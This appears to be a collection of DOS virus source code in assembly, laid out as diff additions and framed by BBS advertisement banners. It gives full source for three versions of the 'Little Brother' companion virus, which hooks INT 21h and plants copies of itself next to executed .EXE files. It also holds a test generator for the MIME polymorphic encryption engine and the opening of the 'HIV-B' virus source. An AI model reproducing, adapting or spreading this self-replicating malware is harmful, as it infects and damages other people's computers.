; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
|
||||||
@@ -0,0 +1,247 @@
|
|||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* *
|
||||||
|
;* ASM Source Code For: *
|
||||||
|
;* Little Brother Virus - Version 1 *
|
||||||
|
;* *
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:nothing
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
FILELEN equ end - begin
|
||||||
|
RESPAR equ (FILELEN/16) + 17
|
||||||
|
VERSION equ 1
|
||||||
|
oi21 equ end
|
||||||
|
nameptr equ end+4
|
||||||
|
DTA equ end+8
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Start the program!
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
begin: cld
|
||||||
|
|
||||||
|
mov ax,0DEDEh ;already installed?
|
||||||
|
int 21h
|
||||||
|
cmp ah,041h
|
||||||
|
je cancel
|
||||||
|
|
||||||
|
mov ax,0044h ;move program to empty hole
|
||||||
|
mov es,ax
|
||||||
|
mov di,0100h
|
||||||
|
mov si,di
|
||||||
|
mov cx,FILELEN
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov ds,cx ;get original int21 vector
|
||||||
|
mov si,0084h
|
||||||
|
mov di,offset oi21
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
|
||||||
|
push es ;set vector to new handler
|
||||||
|
pop ds
|
||||||
|
mov dx,offset ni21
|
||||||
|
mov ax,2521h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cancel: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* File-extensions
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
EXE_txt db 'EXE',0
|
||||||
|
COM_txt db 'COM',0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Interupt handler 24
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
ni24: mov al,03
|
||||||
|
iret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Interupt handler 21
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
ni21: pushf
|
||||||
|
|
||||||
|
cmp ax,0DEDEh ;install-check ?
|
||||||
|
je do_DEDE
|
||||||
|
|
||||||
|
push dx
|
||||||
|
push bx
|
||||||
|
push ax
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
|
||||||
|
cmp ax,4B00h ;execute ?
|
||||||
|
jne exit
|
||||||
|
|
||||||
|
doit: call infect
|
||||||
|
|
||||||
|
exit: pop es
|
||||||
|
pop ds
|
||||||
|
pop ax
|
||||||
|
pop bx
|
||||||
|
pop dx
|
||||||
|
popf
|
||||||
|
|
||||||
|
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||||
|
|
||||||
|
do_DEDE: mov ax,04100h+VERSION ;return a signature
|
||||||
|
popf
|
||||||
|
iret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
infect: cld
|
||||||
|
|
||||||
|
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||||
|
mov word ptr cs:[nameptr+2],ds
|
||||||
|
|
||||||
|
push cs ;set new DTA
|
||||||
|
pop ds
|
||||||
|
mov dx,offset DTA
|
||||||
|
mov ah,1Ah
|
||||||
|
int 21
|
||||||
|
|
||||||
|
call searchpoint
|
||||||
|
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||||
|
mov cx,3
|
||||||
|
rep cmpsb
|
||||||
|
jnz do_com
|
||||||
|
|
||||||
|
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||||
|
call change_ext
|
||||||
|
|
||||||
|
mov ax,3300h ;get ctrl-break flag
|
||||||
|
int 21
|
||||||
|
push dx
|
||||||
|
|
||||||
|
xor dl,dl ;clear the flag
|
||||||
|
mov ax,3301h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov ax,3524h ;get int24 vector
|
||||||
|
int 21
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
push cs ;set int24 vec to new handler
|
||||||
|
pop ds
|
||||||
|
mov dx,offset ni24
|
||||||
|
mov ax,2524h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ;create the file (unique name)
|
||||||
|
xor cx,cx
|
||||||
|
mov ah,5Bh
|
||||||
|
int 21
|
||||||
|
jc return1
|
||||||
|
xchg bx,ax ;save handle
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov cx,FILELEN ;write the file
|
||||||
|
mov dx,offset begin
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
cmp ax,cx
|
||||||
|
pushf
|
||||||
|
|
||||||
|
mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
popf
|
||||||
|
jz return1 ;all bytes written?
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ;delete the file
|
||||||
|
mov ah,41h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
return1: pop ds ;restore int24 vector
|
||||||
|
pop dx
|
||||||
|
mov ax,2524h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
pop dx ;restore ctrl-break flag
|
||||||
|
mov ax,3301h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov si,offset EXE_txt ;change extension to EXE
|
||||||
|
call change_ext
|
||||||
|
|
||||||
|
return: ret
|
||||||
|
|
||||||
|
do_com: call findfirst ;is the file a virus?
|
||||||
|
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||||||
|
jne return
|
||||||
|
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||||
|
call change_ext
|
||||||
|
call findfirst
|
||||||
|
jnc return
|
||||||
|
mov si,offset COM_txt ;change extension to COM
|
||||||
|
jmp short change_ext
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Find the file
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
findfirst: lds dx,dword ptr [nameptr]
|
||||||
|
mov cl,27h
|
||||||
|
mov ah,4Eh
|
||||||
|
int 21
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* change the extension of the filename (CS:SI -> ext)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
change_ext: call searchpoint
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* search begin of extension
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
searchpoint: les di,dword ptr cs:[nameptr]
|
||||||
|
mov ch,0FFh
|
||||||
|
mov al,'.'
|
||||||
|
repnz scasb
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Text and Signature
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
db 'Little Brother',0
|
||||||
|
|
||||||
|
end:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,265 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Little Brother version 2
|
||||||
|
;*
|
||||||
|
;* Compile with MASM 4.0
|
||||||
|
;* (other assemblers will probably not produce the same result)
|
||||||
|
;*
|
||||||
|
;* Disclaimer:
|
||||||
|
;* This file is only for educational purposes. The author takes no
|
||||||
|
;* responsibility for anything anyone does with this file. Do not
|
||||||
|
;* modify this file!
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:nothing
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
FILELEN equ end - begin
|
||||||
|
RESPAR equ (FILELEN/16d) + 17d
|
||||||
|
VERSION equ 2
|
||||||
|
oi21 equ end
|
||||||
|
nameptr equ end+4
|
||||||
|
DTA equ end+8
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Install the program!
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
begin: cld
|
||||||
|
|
||||||
|
mov ax,0044h ;move program to empty hole
|
||||||
|
mov es,ax
|
||||||
|
mov di,0100h
|
||||||
|
mov si,di
|
||||||
|
mov cx,FILELEN
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov ds,cx ;get original int21 vector
|
||||||
|
mov si,0084h
|
||||||
|
mov di,offset oi21
|
||||||
|
mov dx,offset ni21
|
||||||
|
lodsw
|
||||||
|
cmp ax,dx ;already installed?
|
||||||
|
je cancel
|
||||||
|
stosw
|
||||||
|
movsw
|
||||||
|
|
||||||
|
push es ;set vector to new handler
|
||||||
|
pop ds
|
||||||
|
mov ax,2521h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cancel: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* File-extensions
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
EXE_txt db 'EXE',0
|
||||||
|
COM_txt db 'COM',0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Interupt handler 24
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
ni24: mov al,03
|
||||||
|
iret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Interupt handler 21
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
ni21: pushf
|
||||||
|
push dx
|
||||||
|
push bx
|
||||||
|
push ax
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
|
||||||
|
cmp ax,4B00h ;execute ?
|
||||||
|
jne exit
|
||||||
|
|
||||||
|
doit: call infect
|
||||||
|
|
||||||
|
exit: pop es
|
||||||
|
pop ds
|
||||||
|
pop ax
|
||||||
|
pop bx
|
||||||
|
pop dx
|
||||||
|
popf
|
||||||
|
|
||||||
|
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
infect: cld
|
||||||
|
|
||||||
|
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||||
|
mov word ptr cs:[nameptr+2],ds
|
||||||
|
|
||||||
|
mov ah,2Fh ;get old DTA
|
||||||
|
int 21
|
||||||
|
push es
|
||||||
|
push bx
|
||||||
|
|
||||||
|
push cs ;set new DTA
|
||||||
|
pop ds
|
||||||
|
mov dx,offset DTA
|
||||||
|
mov ah,1Ah
|
||||||
|
int 21
|
||||||
|
|
||||||
|
call searchpoint
|
||||||
|
push di
|
||||||
|
mov si,offset COM_txt ;is extension 'COM'?
|
||||||
|
mov cx,3
|
||||||
|
rep cmpsb
|
||||||
|
pop di
|
||||||
|
jz do_com
|
||||||
|
|
||||||
|
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||||
|
mov cl,3
|
||||||
|
rep cmpsb
|
||||||
|
jnz return
|
||||||
|
|
||||||
|
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||||
|
call change_ext
|
||||||
|
|
||||||
|
mov ax,3300h ;get ctrl-break flag
|
||||||
|
int 21
|
||||||
|
push dx
|
||||||
|
|
||||||
|
cwd ;clear the flag
|
||||||
|
inc ax
|
||||||
|
push ax
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov ax,3524h ;get int24 vector
|
||||||
|
int 21
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
push cs ;set int24 vec to new handler
|
||||||
|
pop ds
|
||||||
|
mov dx,offset ni24
|
||||||
|
mov ah,25h
|
||||||
|
push ax
|
||||||
|
int 21
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||||
|
xor cx,cx
|
||||||
|
mov ah,5Bh
|
||||||
|
int 21
|
||||||
|
jc return1
|
||||||
|
xchg bx,ax ;save handle
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov cx,FILELEN ;write the virus
|
||||||
|
mov dx,offset begin
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
cmp ax,cx
|
||||||
|
pushf
|
||||||
|
|
||||||
|
mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
popf
|
||||||
|
jz return1 ;all bytes written?
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ;no, delete the virus
|
||||||
|
mov ah,41h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
return1: pop ax ;restore int24 vector
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
int 21
|
||||||
|
|
||||||
|
pop ax ;restore ctrl-break flag
|
||||||
|
pop dx
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov si,offset EXE_txt ;change extension to EXE
|
||||||
|
call change_ext ;execute EXE-file
|
||||||
|
|
||||||
|
return: mov ah,1Ah ;restore old DTA
|
||||||
|
pop dx
|
||||||
|
pop ds
|
||||||
|
int 21
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
do_com: call findfirst ;is the COM-file a virus?
|
||||||
|
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||||||
|
jne return ;no, execute COM-file
|
||||||
|
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||||
|
call change_ext
|
||||||
|
call findfirst
|
||||||
|
jnc return ;yes, execute EXE-file
|
||||||
|
mov si,offset COM_txt ;change extension to COM
|
||||||
|
call change_ext
|
||||||
|
jmp short return ;execute COM-file
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Find the file
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
findfirst: lds dx,dword ptr [nameptr]
|
||||||
|
mov cl,27h
|
||||||
|
mov ah,4Eh
|
||||||
|
int 21
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* change the extension of the filename (CS:SI -> ext)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
change_ext: call searchpoint
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* search begin of extension
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
searchpoint: les di,dword ptr cs:[nameptr]
|
||||||
|
mov ch,0FFh
|
||||||
|
mov al,0
|
||||||
|
repnz scasb
|
||||||
|
sub di,4
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Text and Signature
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
db 'Little Brother',0
|
||||||
|
|
||||||
|
end:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
|
||||||
@@ -0,0 +1,256 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Little Brother version 3
|
||||||
|
;*
|
||||||
|
;* Compile with MASM 4.0
|
||||||
|
;* (other assemblers will probably not produce the same result)
|
||||||
|
;*
|
||||||
|
;* Disclaimer:
|
||||||
|
;* This file is only for educational purposes. The author takes no
|
||||||
|
;* responsibility for anything anyone does with this file. Do not
|
||||||
|
;* modify this file!
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:nothing
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
FILELEN equ end - begin
|
||||||
|
oi21 equ end
|
||||||
|
nameptr equ end+4
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Install the program!
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
begin: cld
|
||||||
|
mov sp,300
|
||||||
|
|
||||||
|
mov ax,0044h ;move program to empty hole
|
||||||
|
mov es,ax
|
||||||
|
mov di,0100h
|
||||||
|
mov si,di
|
||||||
|
mov cx,FILELEN
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov ds,cx ;get original int21 vector
|
||||||
|
mov si,0084h
|
||||||
|
mov di,offset oi21
|
||||||
|
mov dx,offset ni21
|
||||||
|
lodsw
|
||||||
|
cmp ax,dx ;already installed?
|
||||||
|
je cancel
|
||||||
|
stosw
|
||||||
|
movsw
|
||||||
|
|
||||||
|
push es ;set vector to new handler
|
||||||
|
pop ds
|
||||||
|
mov ax,2521h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cancel: push cs ;restore segment registers
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov bx,30 ;free memory
|
||||||
|
mov ah,4A
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov es,ds:[002C] ;search filename in environment
|
||||||
|
mov di,0
|
||||||
|
mov ch,0FFh
|
||||||
|
mov al,01
|
||||||
|
repnz scasb
|
||||||
|
inc di
|
||||||
|
|
||||||
|
mov word ptr [nameptr],di
|
||||||
|
mov word ptr [nameptr+2],es
|
||||||
|
|
||||||
|
mov si,offset EXE_txt ;change extension to .EXE
|
||||||
|
call change_ext
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov bx,offset param ;make EXEC param. block
|
||||||
|
mov [bx+4],cs
|
||||||
|
mov [bx+8],cs
|
||||||
|
mov [bx+0C],cs
|
||||||
|
lds dx,dword ptr [nameptr]
|
||||||
|
mov ax,4B00 ;execute .EXE program
|
||||||
|
int 21
|
||||||
|
mov ah,4Dh ;ask return code
|
||||||
|
int 21
|
||||||
|
mov ah,4Ch ;exit with same return code
|
||||||
|
int 21
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* EXEC parameter block
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
param dw 0, 80, ?, 5C, ?, 6C, ?
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* File-extensions
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
EXE_txt db 'EXE',0
|
||||||
|
COM_txt db 'COM',0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Interupt handler 24
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
ni24: mov al,03
|
||||||
|
iret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Interupt handler 21
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
ni21: pushf
|
||||||
|
push dx
|
||||||
|
push bx
|
||||||
|
push ax
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
|
||||||
|
cmp ax,4B00h ;execute ?
|
||||||
|
jne exit
|
||||||
|
|
||||||
|
doit: call infect
|
||||||
|
|
||||||
|
exit: pop es
|
||||||
|
pop ds
|
||||||
|
pop ax
|
||||||
|
pop bx
|
||||||
|
pop dx
|
||||||
|
popf
|
||||||
|
|
||||||
|
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
infect: cld
|
||||||
|
|
||||||
|
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||||
|
mov word ptr cs:[nameptr+2],ds
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
call searchpoint
|
||||||
|
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||||
|
mov cx,3
|
||||||
|
rep cmpsb
|
||||||
|
jnz return
|
||||||
|
|
||||||
|
mov si,offset COM_txt ;change extension to COM
|
||||||
|
call change_ext
|
||||||
|
|
||||||
|
mov ax,3300h ;get ctrl-break flag
|
||||||
|
int 21
|
||||||
|
push dx
|
||||||
|
|
||||||
|
cwd ;clear the flag
|
||||||
|
inc ax
|
||||||
|
push ax
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov ax,3524h ;get int24 vector
|
||||||
|
int 21
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
push cs ;set int24 vec to new handler
|
||||||
|
pop ds
|
||||||
|
mov dx,offset ni24
|
||||||
|
mov ah,25h
|
||||||
|
push ax
|
||||||
|
int 21
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||||
|
xor cx,cx
|
||||||
|
mov ah,5Bh
|
||||||
|
int 21
|
||||||
|
jc return1
|
||||||
|
xchg bx,ax ;save handle
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov cx,FILELEN ;write the virus
|
||||||
|
mov dx,offset begin
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
cmp ax,cx
|
||||||
|
pushf
|
||||||
|
|
||||||
|
mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
popf
|
||||||
|
jz return1 ;all bytes written?
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ;no, delete the virus
|
||||||
|
mov ah,41h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
return1: pop ax ;restore int24 vector
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
int 21
|
||||||
|
|
||||||
|
pop ax ;restore ctrl-break flag
|
||||||
|
pop dx
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov si,offset EXE_txt ;change extension to EXE
|
||||||
|
call change_ext ;execute .EXE program
|
||||||
|
|
||||||
|
return: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* change the extension of the filename (CS:SI -> ext)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
change_ext: call searchpoint
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* search begin of extension
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
searchpoint: les di,dword ptr cs:[nameptr]
|
||||||
|
mov ch,0FFh
|
||||||
|
mov al,0
|
||||||
|
repnz scasb
|
||||||
|
sub di,4
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Text and Signature
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
db 'Little Brother',0
|
||||||
|
|
||||||
|
end:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
Binary file not shown.
@@ -0,0 +1,85 @@
|
|||||||
|
.286
|
||||||
|
.model small
|
||||||
|
.code
|
||||||
|
org 0100h
|
||||||
|
|
||||||
|
msg_addr equ offset msg - offset proc_start- 3
|
||||||
|
|
||||||
|
extrn mime:near,emime:near
|
||||||
|
|
||||||
|
; 以下程式,除了要注意的地方有注解,其它部份自己研究
|
||||||
|
|
||||||
|
start:
|
||||||
|
mov ah,09h
|
||||||
|
mov dx,offset dg_msg
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,offset emime+000fh ; 本程式 + mime+000fh 之後的位址
|
||||||
|
; 若減 0100h 則成為本程式 + mime 的長度
|
||||||
|
|
||||||
|
shr ax,4
|
||||||
|
mov bx,cs
|
||||||
|
add bx,ax
|
||||||
|
|
||||||
|
mov es,bx ; 設 es 用來放解碼程式和被編碼資料
|
||||||
|
; 解碼程式最大為 1024 bytes
|
||||||
|
; 若用在常駐程式時,則須注意分配的記憶體大小
|
||||||
|
|
||||||
|
mov cx,50
|
||||||
|
dg_l0:
|
||||||
|
push cx
|
||||||
|
mov ah,3ch
|
||||||
|
xor cx,cx
|
||||||
|
mov dx,offset file_name
|
||||||
|
int 21h
|
||||||
|
xchg bx,ax
|
||||||
|
|
||||||
|
mov cx,offset proc_end-offset proc_start ; 被編碼程式的長度
|
||||||
|
|
||||||
|
mov si,offset proc_start ; ds:si -> 要被編碼的程式位址
|
||||||
|
xor di, di
|
||||||
|
|
||||||
|
push bx ; 保存 file handle
|
||||||
|
|
||||||
|
mov bx, 100h ; com 模式
|
||||||
|
|
||||||
|
call mime
|
||||||
|
|
||||||
|
pop bx
|
||||||
|
|
||||||
|
mov ah,40h ; 返回時 ds:dx = 解碼程式 + 被編碼程式的位址
|
||||||
|
int 21h ; cx = 解碼程式 + 被編碼程式的長度,其它暫存器不變
|
||||||
|
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds ; 將 ds 設回來
|
||||||
|
|
||||||
|
mov bx,offset file_num
|
||||||
|
inc byte ptr ds:[bx+0001h]
|
||||||
|
cmp byte ptr ds:[bx+0001h],'9'
|
||||||
|
jbe dg_l1
|
||||||
|
inc byte ptr ds:[bx]
|
||||||
|
mov byte ptr ds:[bx+0001h],'0'
|
||||||
|
dg_l1:
|
||||||
|
pop cx
|
||||||
|
loop dg_l0
|
||||||
|
mov ah,4ch
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
file_name db '000000'
|
||||||
|
file_num db '00.com',00h
|
||||||
|
|
||||||
|
dg_msg db 'generates 50 mime encrypted test files.',0dh,0ah,'$'
|
||||||
|
|
||||||
|
proc_start:
|
||||||
|
call $+0003h
|
||||||
|
pop dx
|
||||||
|
add dx,msg_addr
|
||||||
|
mov ah,09h
|
||||||
|
int 21h
|
||||||
|
int 20h
|
||||||
|
msg db 'This is <MIME> test file.$'
|
||||||
|
proc_end:
|
||||||
|
end start
|
||||||
@@ -0,0 +1,752 @@
|
|||||||
|
|
||||||
|
|
||||||
|
DATA_1E EQU 4CH ; Just a Few Data Segments that are
|
||||||
|
DATA_3E EQU 84H ; Needed for the virus to find some
|
||||||
|
DATA_5E EQU 90H ; hard core info...
|
||||||
|
DATA_7E EQU 102H
|
||||||
|
DATA_8E EQU 106H
|
||||||
|
DATA_9E EQU 122H
|
||||||
|
DATA_10E EQU 124H
|
||||||
|
DATA_11E EQU 15AH
|
||||||
|
DATA_12E EQU 450H
|
||||||
|
DATA_13E EQU 462H
|
||||||
|
DATA_14E EQU 47BH
|
||||||
|
DATA_15E EQU 0
|
||||||
|
DATA_16E EQU 1
|
||||||
|
DATA_17E EQU 2
|
||||||
|
DATA_18E EQU 6
|
||||||
|
DATA_42E EQU 0FB2CH
|
||||||
|
DATA_43E EQU 0FB2EH
|
||||||
|
DATA_44E EQU 0FB4BH
|
||||||
|
DATA_45E EQU 0FB4DH
|
||||||
|
DATA_46E EQU 0FB83H
|
||||||
|
DATA_47E EQU 0FB8DH
|
||||||
|
DATA_48E EQU 0FB8FH
|
||||||
|
DATA_49E EQU 0FB95H
|
||||||
|
DATA_50E EQU 0FB97H
|
||||||
|
DATA_51E EQU 0
|
||||||
|
DATA_52E EQU 2
|
||||||
|
|
||||||
|
SEG_A SEGMENT BYTE PUBLIC
|
||||||
|
ASSUME CS:SEG_A, DS:SEG_A
|
||||||
|
|
||||||
|
|
||||||
|
ORG 100h ; Compile this to a .COM file!
|
||||||
|
; So the Virus starts at 0100h
|
||||||
|
HIV PROC FAR
|
||||||
|
|
||||||
|
START:
|
||||||
|
JMP LOC_35
|
||||||
|
DB 0C3H
|
||||||
|
DB 23 DUP (0C3H)
|
||||||
|
DB 61H, 6EH, 74H, 69H, 64H, 65H
|
||||||
|
DB 62H, 0C3H, 0C3H, 0C3H, 0C3H
|
||||||
|
DB 'HIV-B Virus - Release 1.1 [NukE]'
|
||||||
|
DB ' '
|
||||||
|
copyright DB '(C) Edited by Rock Steady [NukE]'
|
||||||
|
DB 0, 0
|
||||||
|
DATA_24 DW 0
|
||||||
|
DATA_25 DW 0
|
||||||
